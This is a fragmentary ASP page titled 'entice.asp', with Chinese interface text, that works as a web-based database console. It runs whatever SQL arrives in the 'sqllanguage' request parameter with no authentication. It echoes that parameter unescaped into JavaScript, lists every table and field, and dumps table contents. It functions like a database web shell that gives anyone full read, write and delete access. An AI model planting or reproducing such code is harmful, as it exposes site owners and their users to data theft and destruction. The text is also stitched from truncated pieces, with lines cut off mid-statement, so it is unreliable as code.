====================================entice.asp <% if left(trim(request("sqllanguage")),6)="select" then %> <script language=javascript> window.open("entice2.asp?sql=<%=request("sqllanguage")%>","","height=450,width=600,resizable=yes,
<% if sqllanguage<>Empty then On Error Resume Next conndb.Execute(sqllanguage) if err.number="0" then message1="執(zhí)行成功" response.write message1 else message1=err.description response.write message1 err.clear end if end if %>
<% set rstable=conndb.openSchema(20) rstable.movefirst %> <table width="95%" border="0" cellspacing="1" cellpadding="3" align="center" bgcolor="#000000"> <% do while not rstable.eof if rstable("table_type")="TABLE" then %> <tr bgcolor="#006400"> <td width="18%" nowrap><font color="#FFFFFF">數(shù)據(jù)庫中的表名</font></td> <td width="82%" nowrap> <font color="#FFFFFF"> <%
response.write rstable("table_name") %> </font></td> </tr> <tr bgcolor="#CCCCCC"> <td width="18%" nowrap>該表中的所有字段</td> <td width="82%" nowrap> <% set rstobj=server.createobject("adodb.recordset") rstsql="select * from "&rstable("table_name") rstobj.open rstsql,conndb,1 for i=0 to rstobj.fields.count-1 response.write rstobj(i).name&"|" next rstobj.close set rstobj=nothing %> </td> </tr> <% end if rstable.movenext loop rstable.close set rstable=nothing %> </table> </Body> </HTML> <% conndb.close set conndb=nothing %>
bgcolor='#000000'><tr bgcolor='#006400'>" for i=0 to fcount-1 response.write "<td><font color='ffffff'>"&rstobj(i).name&"</font></td>" next response.write "</tr>" do while not rstobj.eof response.write "<tr bgcolor='#cccccc'>" for i=0 to fcount-1 response.write "<td>"&rstobj(i)&"</td>" next response.write "</tr>" rstobj.movenext loop response.write "</table>" rstobj.close set rstobj=nothing conndb.close set conndb=nothing %>
